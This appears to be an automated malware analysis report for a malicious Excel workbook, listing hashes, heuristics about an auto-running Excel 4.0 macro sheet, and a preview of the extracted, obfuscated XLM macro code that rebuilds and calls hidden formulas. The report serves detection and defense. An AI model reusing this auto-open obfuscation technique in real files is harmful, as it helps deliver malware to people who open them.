Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 adc40530056e8532…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:46:49 Authoring application: Microsoft Excel First seen: 2021-01-11
MD5: b890f3d2a8534ef377d06b65fe74b013 SHA-1: 33a4ecae40600f0663a67a0db39fe06d37291108 SHA-256: adc40530056e8532557b723b01cf688f7a8d357c8af8fcb4d789d501a5470197
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6683 bytes
SHA-256: 1ef8a671af9259d1b26796cd5dd7b497ea2f0101fe2f011da95502e88eb46366
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  GoxYBzrGAh
' 0018     22 LABEL : Cell Value, String Constant - AGntJzC len=0 
' 0018     23 LABEL : Cell Value, String Constant - AOSWnmTz len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H185 
' 0018     23 LABEL : Cell Value, String Constant - cfElsPwV len=0 
' 0018     27 LABEL : Cell Value, String Constant - CLFNCRKcIELK len=0 
' 0018     26 LABEL : Cell Value, String Constant - dqOPDKHPNVX len=0 
' 0018     25 LABEL : Cell Value, String Constant - eAkipuSWfn len=0 
' 0018     20 LABEL : Cell Value, String Constant - EoGIY len=0 
' 0018     25 LABEL : Cell Value, String Constant - fDQVWuEzPz len=0 
' 0018     26 LABEL : Cell Value, String Constant - ikvCuuBWpAh len=0 
' 0018     22 LABEL : Cell Value, String Constant - Jovjxde len=0 
' 0018     20 LABEL : Cell Value, String Constant - kHLjA len=0 
' 0018     25 LABEL : Cell Value, String Constant - mhHSOMDUev len=0 
' 0018     24 LABEL : Cell Value, String Constant - nNloftKHf len=0 
' 0018     22 LABEL : Cell Value, String Constant - nVPvVdA len=0 
' 0018     23 LABEL : Cell Value, String Constant - tJiwszmu len=0 
' 0018     26 LABEL : Cell Value, String Constant - TjNUvmMTjBh len=0 
' 0018     23 LABEL : Cell Value, String Constant - vlgoJIwV len=0 
' 0018     23 LABEL : Cell Value, String Constant - wUoKuRwW len=0 
' 0018     22 LABEL : Cell Value, String Constant - ZdJwSsP len=0 
' 0018     25 LABEL : Cell Value, String Constant - ZfDiXHqtqb len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  GoxYBzrGAh,H95,"SET.NAME("ikvCuuBWpAh",VALUE("0"))",""
'  GoxYBzrGAh,H97,"SET.NAME("Jovjxde",ikvCuuBWpAh)",""
'  GoxYBzrGAh,H100,"SET.NAME("AOSWnmTz",ikvCuuBWpAh)",""
'  GoxYBzrGAh,H105,"SET.NAME("EoGIY",COUNTA(nVPvVdA))",""
'  GoxYBzrGAh,H107,"SET.NAME("CLFNCRKcIELK",COUNTA(dqOPDKHPNVX))",""
'  GoxYBzrGAh,H112,[],""
'  GoxYBzrGAh,H116,"SET.NAME("AGntJzC","")",""
'  GoxYBzrGAh,H121,"Jovjxde",""
'  GoxYBzrGAh,H124,"SET.NAME("mhHSOMDUev",HLOOKUP("*",nVPvVdA,Jovjxde,FALSE))",""
'  GoxYBzrGAh,H128,"cfElsPwV",""
'  GoxYBzrGAh,H130,"SET.NAME("wUoKuRwW",ikvCuuBWpAh)",""
'  GoxYBzrGAh,H133,[],""
'  GoxYBzrGAh,H136,"wUoKuRwW",""
'  GoxYBzrGAh,H140,"fDQVWuEzPz",""
'  GoxYBzrGAh,H145,"eAkipuSWfn",""
'  GoxYBzrGAh,H149,"vlgoJIwV",""
'  GoxYBzrGAh,H151,"SET.NAME("kHLjA",VALUE(HLOOKUP("*",dqOPDKHPNVX,vlgoJIwV,FALSE)))",""
'  GoxYBzrGAh,H153,"TjNUvmMTjBh",""
'  GoxYBzrGAh,H155,"AGntJzC",""
'  GoxYBzrGAh,H159,"AOSWnmTz",""
'  GoxYBzrGAh,H162,NEXT(),""
'  GoxYBzrGAh,H164,"nNloftKHf",""
'  GoxYBzrGAh,H168,"SET.NAME("f",INT(T(FORMULA(T(AGntJzC)&"",""&T(nNloftKHf)))))",""
'  GoxYBzrGAh,H173,"ZfDiXHqtqb",""
'  GoxYBzrGAh,H176,NEXT(),""
'  GoxYBzrGAh,H180,RETURN(),""
'  GoxYBzrGAh,H212,"SET.NAME("tJiwszmu",H95)",""
'  GoxYBzrGAh,H215,"nVPvVdA",""
'  GoxYBzrGAh,H220,"SET.NAME("dqOPDKHPNVX",R82C14)",""
'  GoxYBzrGAh,H224,"SET.NAME("ZfDiXHqtqb",233)",""
'  GoxYBzrGAh,H227,"SET.NAME("ZdJwSsP",8)",""
'  GoxYBzrGAh,H232,tJiwszmu(),""
'  GoxYBzrGAh,H233,HALT(),""

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